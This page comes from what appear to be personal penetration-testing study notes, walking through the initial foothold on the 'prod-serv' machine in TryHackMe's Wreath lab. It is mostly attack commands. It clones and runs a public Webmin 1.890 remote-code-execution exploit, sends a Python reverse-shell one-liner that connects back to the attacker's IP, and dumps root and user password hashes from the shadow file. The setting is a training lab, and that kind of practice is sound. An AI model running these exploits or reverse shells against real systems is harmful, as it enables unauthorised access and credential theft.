> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/external-pentest-playbook/wreath-try-hack-me/foothold-prod-serv.md).

# Foothold \[prod-serv]

```bash
git clone https://github.com/n0obit4/Webmin_1.890-POC.git && cd Webmin_1.890-POC
pip3 install requests argparse os bs4
python3 Webmin_exploit.py -host 10.200.101.200 -port 10000 -cmd id
```

<figure><img src="https://152155081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUczSr73L34emqNMDOxDg%2Fuploads%2FkASsTOdGWLlCQfmQytqa%2Fimage.png?alt=media&amp;token=538f957a-21c6-4c7e-a1d9-4cd1aa3b5875" alt=""><figcaption></figcaption></figure>

```bash
python3 Webmin_exploit.py -host 10.200.101.200 -port 10000 -cmd "which python3"
python3 Webmin_exploit.py -host 10.200.101.200 -port 10000 -cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.50.102.164\",1339));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"sh\")'"
```

<figure><img src="https://152155081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUczSr73L34emqNMDOxDg%2Fuploads%2F6If0TqfQ6SLVWaZEhWeF%2Fimage.png?alt=media&amp;token=b068446f-6b53-4275-ac62-b391aa53a95b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://152155081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUczSr73L34emqNMDOxDg%2Fuploads%2FWUFaojNHTsx6GNqyYE4X%2Fimage.png?alt=media&amp;token=a7712622-673c-4032-a581-b5c62b6e314a" alt=""><figcaption></figcaption></figure>

```
root:$6$i9vT8tk3SoXXxK2P$HDIAwho9FOdd4QCecIJKwAwwh8Hwl.BdsbMOUAd3X/chSCvrmpfy.5lrLgnRVNq6/6g0PxK9VqSdy47/qKXad1::0:99999:7:::
twreath:$6$0my5n311RD7EiK3J$zVFV3WAPCm/dBxzz0a7uDwbQenLohKiunjlDonkqx1huhjmFYZe0RmCPsHmW3OnWYwf8RWPdXAdbtYpkJCReg.::0:99999:7:::
```

<figure><img src="https://152155081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUczSr73L34emqNMDOxDg%2Fuploads%2FZiPwacSiMQ8NZTn1IOTq%2Fimage.png?alt=media&amp;token=964d799b-d537-4920-a4ab-f2e32414ffd9" alt=""><figcaption></figcaption></figure>

```
vim wreath_key
chmod 600 wreath_key
```